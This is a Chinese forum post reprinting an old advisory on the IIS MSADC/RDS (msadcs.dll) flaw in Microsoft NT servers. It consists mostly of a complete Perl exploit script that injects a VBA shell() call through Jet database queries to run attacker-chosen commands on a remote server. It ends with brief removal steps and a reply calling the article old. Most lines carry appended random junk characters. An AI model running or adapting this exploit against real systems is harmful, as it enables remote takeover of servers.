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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) & m'ttUG?  
vIoV(rc+  
涉及程序: ?Q< o-o;B  
Microsoft NT server S&C  
r=" wd  
描述: gGiLw5o,  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 l9J]<gG  
nj7wc9z4  
详细: z'G~b[kG4n  
如果你没有时间读详细内容的话,就删除: ^}-(8~_en  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {ER%r'(4Z  
有关的安全问题就没有了。 QX*HvT  
=/k*w#j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0wmz2zKV  
j]#-DIL  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ' Vp6=,P  
关于利用ODBC远程漏洞的描述,请参看:  4I> I  
9Fl}"p[>L.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;btH[a iV  
z k[%YG&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 P| [i{h  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EcA@bZ0  
*CA7 {2CX  
这里不再论述。 Ba$Ibq,r/  
i6^COr  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: w/KCu W<  
{5f? y\Z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (]|rxmycA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2/9P&c-rp  
[8k7-}[  
B}.G(-u?7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2Et7o/\<  
k-LB %\p  
#!perl Tm8c:S^uq)  
# !!=%ty  
# MSADC/RDS 'usage' (aka exploit) script ):. +u=  
# p7"o:YSQ  
# by rain.forest.puppy \(lt [=  
# DR`d^aBWQ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me |(e`V  
# beta test and find errors! QY<{S&k9  
4s<*rKm~  
use Socket; use Getopt::Std; pcM'j#;  
getopts("e:vd:h:XR", \%args); |M?yCo  
=H_|007C  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; t(4%l4i;X  
YQ`GOP#/  
if (!defined $args{h} && !defined $args{R}) { 8F(_Vqu  
print qq~ $vS`w4Y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } N/A.1W  
-h <host> = host you want to scan (ip or domain) OT_w<te  
-d <seconds> = delay between calls, default 1 second #'Q_eBX  
-X = dump Index Server path table, if available p;!'5 f  
-v = verbose cS98%@DR  
-e = external dictionary file for step 5 Ks.pb !r  
@`N)`u85[  
Or a -R will resume a command session T4`.rnzyRb  
mAk@Q|u  
~; exit;} .1u"16_  
<;d?E%`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; &Bbs\ ;  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} a G^kL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 54kd>)|"ag  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &v+8RY^F=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} eu(1bAfS&T  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } mbBd3y  
%3ecV$  
if (!defined $args{R}){ $ret = &has_msadc; 8>TDrpT}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} & p 1Et  
9-DDly [)4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" S~+}_$  
. "cmd /c "; k`W.tMo  
$in=<STDIN>; chomp $in; }LNpr  
$command="cmd /c " . $in ; #msXAy$N3r  
f i-E_  
if (defined $args{R}) {&load; exit;} r'/7kF- 5  
b$P=rIB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 8>Hnv]p  
&try_btcustmr; 7FMg6z8~  
'&5A*X]d  
print "\nStep 2: Trying to make our own DSN..."; qby!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N(v<*jn  
A]2zK?|s  
print "\nStep 3: Trying known DSNs..."; dA[Z\  
&known_dsn; !GcH )  
M0<gea\ =  
print "\nStep 4: Trying known .mdbs..."; iWu$$IV?-  
&known_mdb; |1G/J[E  
U}7 a;4?  
if (defined $args{e}){ " 1YARGu  
print "\nStep 5: Trying dictionary of DSN names..."; tL1"Dt>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u>j:8lhtV  
x68$?CD  
print "Sorry Charley...maybe next time?\n"; sm-RpZ&|  
exit; "Y 9 *rL  
Exox&T  
############################################################################## 'vT XR_D  
&ZgB b  
sub sendraw { # ripped and modded from whisker (eI'%1kS<  
sleep($delay); # it's a DoS on the server! At least on mine... N3Ub|$}q  
my ($pstr)=@_; mh>)N"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5V\\w~&/  
die("Socket problems\n"); 2HBYReQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ UBp0;)-  
select(S); $|=1; Bry\"V"'g  
print $pstr; my @in=<S>; +(VHnxNQs  
select(STDOUT); close(S); eN@V?G26K  
return @in; N<$U:!Z  
} else { die("Can't connect...\n"); }} F{\MIuoy  
-.: [a3c?  
############################################################################## [ "}0umt  
vW`{BWd  
sub make_header { # make the HTTP request DQ^yqBVgQ  
my $msadc=<<EOT NrVrR80Y  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _ 97  
User-Agent: ACTIVEDATA f{[U->#^  
Host: $ip |D u.aN  
Content-Length: $clen MV5'&" ,oB  
Connection: Keep-Alive K'~wlO@O  
}zi:nSpON  
ADCClientVersion:01.06 ]Kb  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 JK.lL]<p i  
|l(rR06#.]  
--!ADM!ROX!YOUR!WORLD! wE:hl  
Content-Type: application/x-varg 7nB@U$]-Sz  
Content-Length: $reqlen QIVpO /@  
6|3$43J,F  
EOT ,9gyHQ~  
; $msadc=~s/\n/\r\n/g; Er?Wg09  
return $msadc;} |*"uj  
.4A4\-Cqe  
############################################################################## SlI0p&2,  
WK]SHiHD  
sub make_req { # make the RDS request <#JJS}TLk  
my ($switch, $p1, $p2)=@_; S P)$K=  
my $req=""; my $t1, $t2, $query, $dsn; ?J,hv'L]  
A@#9X'C$^  
if ($switch==1){ # this is the btcustmr.mdb query a? K=  
$query="Select * from Customers where City=" . make_shell(); wy"^a45h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Z3Os9X9p  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} JX(JZ/8B^  
lq=| =  
elsif ($switch==2){ # this is general make table query ^Afq)26D  
$query="create table AZZ (B int, C varchar(10))"; 'x BBQP  
$dsn="$p1";} z-K?Ak B1  
u&1n~t`  
elsif ($switch==3){ # this is general exploit table query :)X?ML?  
$query="select * from AZZ where C=" . make_shell(); d9h"Q  
$dsn="$p1";} gUzCDB^.:  
g nJe!E  
elsif ($switch==4){ # attempt to hork file info from index server nJ |O,*`O  
$query="select path from scope()"; 1$e z}k,  
$dsn="Provider=MSIDXS;";} :ak D  
kxp$Nnk  
elsif ($switch==5){ # bad query \](IBI:  
$query="select"; M@fUZh  
$dsn="$p1";} /Za'L#=R  
<_-&{Pv  
$t1= make_unicode($query); +ia  F$  
$t2= make_unicode($dsn); a@Tn_yX  
$req = "\x02\x00\x03\x00"; #+p30?r0y  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~,KAJ7O_  
$req.= "\x00\x00" . $t1 ; |\"vHt?@G  
$req.= "\x08\x00" . pack ("S1", length($t2)); ZYZQ?FN  
$req.= "\x00\x00" . $t2 ; F;Ms6 "K  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |2(z<b&y=  
return $req;} Z{RRhJ  
4 F~e3  
############################################################################## a(&!{Y1bt  
]uO 8  
sub make_shell { # this makes the shell() statement w-\U;&8  
return "'|shell(\"$command\")|'";} &hWLG<IE  
[?VYxX@  
############################################################################## 6z@OGExmd#  
68?oV)fE  
sub make_unicode { # quick little function to convert to unicode "| w..%Wc  
my ($in)=@_; my $out; :L<$O7  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } N8|=K_;&  
return $out;} Tyt:Abym=  
Cr|v3Y#h'  
############################################################################## I9P< !#q>  
e_s9E{(  
sub rdo_success { # checks for RDO return success (this is kludge) A,D67G<v`  
my (@in) = @_; my $base=content_start(@in); jV)!9+H#  
if($in[$base]=~/multipart\/mixed/){ 5\1Z"?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8$a4[s  
return 0;} gv$6\1  
/'?Fz*b  
############################################################################## c\~H_ ~F  
G%~=hEK0  
sub make_dsn { # this makes a DSN for us 9'F-D  
my @drives=("c","d","e","f"); E15"AO  
print "\nMaking DSN: "; -C.x;@!k  
foreach $drive (@drives) { %0T/>:1[E  
print "$drive: "; eA9U|&o  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . MN\/F4Io  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" q+2yp&zF  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |eL&hwqzG  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a6=mE?JTB  
return 0 if $2 eq "404"; # not found/doesn't exist 1 Y_e1tgmm  
if($2 eq "200") { k^AI7H  
foreach $line (@results) { ;;'b;,/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} jq(3y|6,  
} return 0;} Knsb`1"E^6  
R_ J=x  
############################################################################## ZxkX\gl91  
<K!5N&vh  
sub verify_exists { RL/~E xYC  
my ($page)=@_; 6W$ #`N>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); E 5}T_~-{  
return $results[0];} Im%|9g;P  
|8}f  
############################################################################## Lu\]]m  
@<Au|l`  
sub try_btcustmr { 2pFOC;tl  
my @drives=("c","d","e","f"); ?^P#P0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FV^CSaN[R  
eU_|.2  
foreach $dir (@dirs) { NWPL18*C  
print "$dir -> "; # fun status so you can see progress Ga~N7  
foreach $drive (@drives) { Mp; t?C4  
print "$drive: "; # ditto hABC rd Em  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0$l=ME(  
$reqlenlen=length( "$reqlen" ); `*PVFm>  
$clen= 206 + $reqlenlen + $reqlen; 6u/3"A]'  
x^_Wfkch]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kH*l83  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9oS\{[x.  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} \@nmM&7C!4  
yAtM|:qq  
############################################################################## "lLt=s2>L  
zNRoFz.  
sub odbc_error { lqA U5K{wQ  
my (@in)=@_; my $base; USu/Y29  
my $base = content_start(@in); (FZL>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8h9t8?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a*&P>Lwe7&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6"WR}S0o  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A=|LMJMWR  
return $in[$base+4].$in[$base+5].$in[$base+6];} _dppUUm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; D h]+HF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $1oU^V Y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]+)z}lr8 C  
N%6jZmKip  
############################################################################## %*OKhrM  
E*IkI))X0  
sub verbose { Vi`+2%4  
my ($in)=@_; gwQL9 UYx  
return if !$verbose; ,HS\(Z  
print STDOUT "\n$in\n";} 1YR;dn  
N'Va&"&73>  
############################################################################## _6THyj$f  
K2nq2Gbn  
sub save { 1iaNb[:QX  
my ($p1, $p2, $p3, $p4)=@_; {@g3AG%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; I%%\;Dy  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; x*5' 6  
close OUT;} Q@%VJPLv.  
jEklf0Z  
############################################################################## hbR;zV|US  
NI=t)[\F  
sub load { <Sm -Z,|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; s2g}IZfo  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ]tH/87qJ  
@p=<IN>; close(IN); btw_k+Fh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +^<CJNDL9  
$target= inet_aton($ip) || die("inet_aton problems"); hF+YZU]rT  
print "Resuming to $ip ..."; \l_RyMi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; .rSeJZzuj  
if($p[1]==1) { ~CldqXeI  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2i', e  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #^<7VS!x  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); h0 Acpd2  
if (rdo_success(@results)){print "Success!\n";} nXK"BYe  
else { print "failed\n"; verbose(odbc_error(@results));}} 5ejdf  
elsif ($p[1]==3){ *gHOH!K,S  
if(run_query("$p[3]")){ &PD4+%!  
print "Success!\n";} else { print "failed\n"; }} IvetQ+  
elsif ($p[1]==4){ gd.P%KC!g  
if(run_query($drvst . "$p[3]")){ @z$V(}(O^  
print "Success!\n"; } else { print "failed\n"; }} ) !3XM  
exit;} Cst\_j  
Bcrd}'no  
############################################################################## zF<*h~  
v[CX-CBZ?  
sub create_table { -x3QgDno  
my ($in)=@_; 6VolTy@(x  
$reqlen=length( make_req(2,$in,"") ) - 28; cg7NtY  
$reqlenlen=length( "$reqlen" ); JoKD6Q1D  
$clen= 206 + $reqlenlen + $reqlen; 1mL--m'r  
my @results=sendraw(make_header() . make_req(2,$in,"")); Nol',^)  
return 1 if rdo_success(@results); $rs7D}VNc  
my $temp= odbc_error(@results); verbose($temp); T{]Tb=  
return 1 if $temp=~/Table 'AZZ' already exists/; s7O?)f f  
return 0;} 9NaC7D$,  
u)&6;A4  
############################################################################## 5'\/gvxIC  
a~OCo  
sub known_dsn { ,nMLua\  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,f$A5RN  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Qz{:m  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", !fwLC"QC  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xo(K*eIN  
6 )0$UW  
foreach $dSn (@dsns) { WXNJc  
print "."; nfy"M),et  
next if (!is_access("DSN=$dSn")); 8_U*_I7(  
if(create_table("DSN=$dSn")){ dSsMa3X[n  
print "$dSn successful\n"; CeR4's7  
if(run_query("DSN=$dSn")){ 6aCAz2 /  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P_hwa1~d  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {#=q[jVi%1  
%whPTc0P  
############################################################################## 5 LhFD  
hc>hNC:a  
sub is_access { >T.U\,om7  
my ($in)=@_; e.\d7_T+  
$reqlen=length( make_req(5,$in,"") ) - 28; H h$D:ZO  
$reqlenlen=length( "$reqlen" ); | g> K$m^  
$clen= 206 + $reqlenlen + $reqlen; [@#P3g\:>W  
my @results=sendraw(make_header() . make_req(5,$in,"")); I6YN&9Y  
my $temp= odbc_error(@results); ],>Z' W  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `"I^nD^t>Y  
return 0;} R2x(8k"LPU  
NJs )2  
############################################################################## \M=" R-&b  
T*J]e|aF  
sub run_query { $4>K2  
my ($in)=@_; p:k>!8.Qho  
$reqlen=length( make_req(3,$in,"") ) - 28; O]m,zk  
$reqlenlen=length( "$reqlen" ); Sq-mH=rs]  
$clen= 206 + $reqlenlen + $reqlen; s=~r. x  
my @results=sendraw(make_header() . make_req(3,$in,"")); r@"Vbq%  
return 1 if rdo_success(@results); _R]la&^2F\  
my $temp= odbc_error(@results); verbose($temp); rxIfatp^  
return 0;} *7nlel  
3tS~/o+]  
############################################################################## mcb0%  
#]:yCiA  
sub known_mdb { U|u v SJ)X  
my @drives=("c","d","e","f","g"); h?bm1e5kE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); e}(ws~.  
my $dir, $drive, $mdb; %1@+pf/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; GasIOPzK  
d;:+Xd`  
# this is sparse, because I don't know of many b0tr)>d  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;-n+=@]7  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", mxq'A  
"\\system32\\certmdb.mdb", 3Q~ng2Wv%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% puL1A?Y8UM  
|0B h  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0kQAT #  
"\\cfusion\\cfapps\\forums\\forums_.mdb", N02N w(pi  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fi:Z*-  
"\\cfusion\\cfapps\\security\\realm_.mdb", j*q]-$2E  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", NL0X =i  
"\\cfusion\\database\\cfexamples.mdb", op"RrZAZBT  
"\\cfusion\\database\\cfsnippets.mdb", My:wA;#  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ] 5YG*sD4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lk%rE  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3vHEPm]  
"\\cfusion\\database\\smpolicy.mdb", O>Xyl4U  
"\\cfusion\\database\cypress.mdb", $a(wM1S4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", hR[Qdu6r  
"\\website\\cgi-win\\dbsample.mdb", xdXt  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", C*/d%eHD  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @PU%BKe  
); #these are just $0AN5 |`g\  
foreach $drive (@drives) { \H*"UgS  
foreach $dir (@dirs){ gK9@-e  
foreach $mdb (@sysmdbs) { x a7x 2]~-  
print "."; 71@V|$Dy  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ SE;Jl[PgcL  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qI) Yzc/  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ORA +>  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ZxwI< T:&  
} else { print "Something's borked. Use verbose next time\n"; }}}}} w6qx  
]}w ~fjq  
foreach $drive (@drives) { cIw)ScY  
foreach $mdb (@mdbs) { 0%cbno@1V  
print "."; `(q+@#)  
if(create_table($drv . $drive . $dir . $mdb)){ *<i { Mb Q  
print "\n" . $drive . $dir . $mdb . " successful\n"; p4fU/  
if(run_query($drv . $drive . $dir . $mdb)){ :,fs' !  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {3i.U028]  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4@.qM6 \\q  
} v<ASkkh>  
Elo m_   
############################################################################## {uM*.]  
<KoiZ{V   
sub hork_idx { f2`[skNj  
print "\nAttempting to dump Index Server tables...\n"; Ev,>_1#Xm  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; x<>#G~-  
$reqlen=length( make_req(4,"","") ) - 28; D2#3fM6  
$reqlenlen=length( "$reqlen" ); ,_!pUal  
$clen= 206 + $reqlenlen + $reqlen; Z]@my,+Z;  
my @results=sendraw2(make_header() . make_req(4,"","")); rFh!&_  
if (rdo_success(@results)){ z{wJQZ9"  
my $max=@results; my $c; my %d; +4Aj/$%[q  
for($c=19; $c<$max; $c++){ etMQy6E\  
$results[$c]=~s/\x00//g; DJdW$S7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; o+*YX!]#L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H{x'I@+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %c<e`P;  
$d{"$1$2"}="";} >=G;rs  
foreach $c (keys %d){ print "$c\n"; } v,I4ozDx  
} else {print "Index server doesn't seem to be installed.\n"; }} 7 y5`YJ}!  
l ~b# Y&  
############################################################################## -y|>#`T/  
y'(( tBWa!  
sub dsn_dict { r5M {*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); M+j V`J!  
while(<IN>){ 2F%2K?$`Ej  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; iH<:wLY&J  
next if (!is_access("DSN=$dSn")); 3k(A&]~v  
if(create_table("DSN=$dSn")){ H*51GxK  
print "$dSn successful\n"; {$-lXw4  
if(run_query("DSN=$dSn")){ /'' |bIPa  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?41bZ$j  
print "Something's borked. Use verbose next time\n";}}} io%WV%1_  
print "\n"; close(IN);} mhVdsa  
,P ~jO  
############################################################################## s;e%*4  
(yA`h@@WS  
sub sendraw2 { # ripped and modded from whisker PvF3a `&r  
sleep($delay); # it's a DoS on the server! At least on mine... fm]mqO  
my ($pstr)=@_; )-VpDW!%_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N iw~0"-V  
die("Socket problems\n"); ywQ[>itMa  
if(connect(S,pack "SnA4x8",2,80,$target)){ dD YD6  
print "Connected. Getting data"; H c,e&R  
open(OUT,">raw.out"); my @in; =\~<##sRJ  
select(S); $|=1; print $pstr; >n$V1U&/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uaghB,i'n  
close(OUT); select(STDOUT); close(S); return @in; RwKnNIp  
} else { die("Can't connect...\n"); }} O{^8dwg  
JOwm|%>3a  
############################################################################## B^Sxp=~Au  
jKr\mb  
sub content_start { # this will take in the server headers |ht:_l 8  
my (@in)=@_; my $c; 7md,!|m  
for ($c=1;$c<500;$c++) { gZq _BY_U  
if($in[$c] =~/^\x0d\x0a/){ fVf @Ngvu  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } (;VlK#rnC  
else { return $c+1; }}} ":@\kw  
return -1;} # it should never get here actually ~'1gX`o:  
&A}hx\_T  
############################################################################## B']-4X{SGa  
fk&>2[^&  
sub funky { DwmK?5p  
my (@in)=@_; my $error=odbc_error(@in); sg`   
if($error=~/ADO could not find the specified provider/){ (yrN-M4~t  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :3b.`s(M  
exit;} boS=  
if($error=~/A Handler is required/){ A |u-VXQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Mc,3j~i  
exit;} ?_ 476A  
if($error=~/specified Handler has denied Access/){ ci 4K Nv;  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~aPe?{yIUa  
exit;}} f8e :J#jbS  
 jYUN:  
############################################################################## L:j3  
d! {]CZ"@  
sub has_msadc { %(&$CmS@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); CKI.\o  
my $base=content_start(@results); uM)#T*(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); JAx0(MZO  
return 0;} x52#md-Z  
Ty<."dyPW  
######################## unKPqc%q=n  
e&nE  
f+!k:}K  
解决方案: )Fgu'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll y0f:N U  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9>ajhFyOhX  
|k$6"dXSO  
拿出来充数 哈哈
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